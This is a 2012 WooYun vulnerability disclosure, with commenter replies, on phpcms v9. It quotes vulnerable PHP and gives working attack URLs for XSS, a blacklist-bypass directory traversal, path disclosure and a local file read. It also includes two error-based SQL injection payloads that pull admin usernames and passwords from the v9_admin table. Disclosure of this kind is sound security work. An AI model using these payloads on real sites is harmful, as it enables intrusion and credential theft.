漏洞概要
关注数(39 )
关注此漏洞
漏洞标题: phpcms v9 Multiple Vulnerabilities
提交时间: 2012-07-11 09:41
公开时间: 2012-07-16 09:42
漏洞类型: SQL注射漏洞
危害等级: 中
自评Rank: 5
漏洞状态:
漏洞已经通知厂商但是厂商忽略漏洞
漏洞详情
披露状态:
2012-07-11: 细节已通知厂商并且等待厂商处理中
2012-07-16: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
hpcmsV9最新版SQL注射+XSS
详细说明:
XSS
code 区域 public function public_get_suggest_keyword() {
$url = $_GET['url'].'&q='.$_GET['q'];
echo $url;
$res = @file_get_contents($url);
if(CHARSET != 'gbk') {
$res = iconv('gbk', CHARSET, $res);
}
echo $res;
}
利用方法:
http://localhost/phpcms/index.php?m=search&a=public_get_suggest_keyword&url=http://localhost/&q=1
新建一个名为&q=1的文件 写入 <script>alert(/Zvall/)</script>
黑名单过滤:这里只说过滤方式. 这里并没有权限访问
code 区域 if(!$this->admin_username) return false;
if($_GET['args']) extract(getswfinit($_GET['args']));
$dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\','..'), '', trim($_GET['dir'])) : '';
$filepath = $this->upload_path.$dir;
$list = glob($filepath.'/'.'*');
if(!empty($list)) rsort($list);
$local = str_replace(array(PC_PATH, PHPCMS_PATH ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('','',DIRECTORY_SEPARATOR), $filepath);
$url = ($dir == '.' || $dir=='') ? $this->upload_url : $this->upload_url.str_replace('.', '', $dir).'/';
$show_header = true;
include $this->admin_tpl('album_dir');
http://localhost/phpcms/index.php?m=attachment&a=album_dir&dir=.\.\ 用黑名单过滤始终是不可取的
路径泄露
code 区域 if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename;
include $mypath;
}
return new $classname;
没进行容错处理提交:
http://v9.demo.phpcms.cn/index.php?m=../model&c=member_group_model.class
由于member_group_model.class 类不存在 会报错
Fatal error: Class 'member_group_model.class' not found in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/classes/application.class.php on
http://v9.demo.phpcms.cn/index.php?m=../../
Fatal error: Cannot redeclare timeinterval() (previously declared in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/functions/autoload/info.func.php:15) in /workspace/wwwroot/v9.demo.phpcms.cn/phpcms/libs/functions/autoload/info.func.php on line 27
漏洞证明:
XSS:
SQL注入:
http://localhost/phpcms/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+`phpcmsv9`.v9_admin+Order+by+userid+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'%3D'1
http://localhost/phpcms/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.password+as+char))),0x27,0x7e)+from+`phpcmsv9`.v9_admin+Order+by+userid+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+'1'%3D'1
修复方案:
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2012-07-16 09:42
厂商回复:
漏洞Rank:15 (WooYun评价)
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
漏洞评价(共0 人评价) :
评价
2012-07-11 10:03 |
Zvall
( 路人 |
Rank:25 漏洞数:14 | hello world)
0
2012-07-11 10:08 |
Nc4
( 实习白帽子 |
Rank:51 漏洞数:5 | 脚本、渗透、服务器安全探索)
0
2012-07-11 10:26 |
Passer_by
( 实习白帽子 |
Rank:97 漏洞数:21 | 问题真实存在但是影响不大(腾讯微博Passer...)
0
2012-07-11 10:35 |
西毒
( 普通白帽子 |
Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
0
2012-07-11 11:36 |
疯子
( 普通白帽子 |
Rank:259 漏洞数:45 | 世人笑我太疯癫,我笑世人看不穿~)
0
2012-07-11 12:38 |
xsser
( 普通白帽子 |
Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
0
洞主,$res = @file_get_contents($url); 为啥不去读文件呢
2012-07-11 12:52 |
draGxn
( 实习白帽子 |
Rank:35 漏洞数:4 | 路慢慢。。。)
0
2012-07-11 13:52 |
CnCxzSec(衰仔)
( 普通白帽子 |
Rank:322 漏洞数:32 | Wow~~~)
0
@xsser 这。。。。不就相当于直接告诉大家漏洞在哪里了么……
2012-07-11 15:33 |
Zvall
( 路人 |
Rank:25 漏洞数:14 | hello world)
0
@CnCxzSec(衰仔)
$url = $_GET['url'].'&q='.$_GET['q'];
&q=1.txt
同志看清了哈
2012-07-11 15:34 |
Zvall
( 路人 |
Rank:25 漏洞数:14 | hello world)
0
2012-07-11 15:38 |
xsser
( 普通白帽子 |
Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
0
2012-07-12 15:56 |
CnCxzSec(衰仔)
( 普通白帽子 |
Rank:322 漏洞数:32 | Wow~~~)
0
@Zvall @xsser url=asdf&q=../../index.php 已demo成功
2012-07-12 15:57 |
xsser
( 普通白帽子 |
Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
0
@CnCxzSec(衰仔) good,let's make a new post on wooyun
2012-07-13 09:13 |
Zvall
( 路人 |
Rank:25 漏洞数:14 | hello world)
0
@xsser 一开始我也想到了读文件 但我本机测试没成功。。这个版本很烂。。漏洞一大堆
2012-07-14 19:14 |
Zvall
( 路人 |
Rank:25 漏洞数:14 | hello world)
0
2012-07-14 19:18 |
Zvall
( 路人 |
Rank:25 漏洞数:14 | hello world)
0
@CnCxzSec(衰仔) 测试成功。我本机环境配置有问题
file_get_contents可取远程 不可读本地文件
2012-07-16 09:48 |
possible
( 普通白帽子 |
Rank:373 漏洞数:32 | everything is possible!)
0
2012-07-17 15:05 |
灵惜
( 路人 |
Rank:14 漏洞数:2 | 哇咔咔,搞定它)
0
昨天出补丁了 http://bbs.phpcms.cn/thread-621649-1-1.html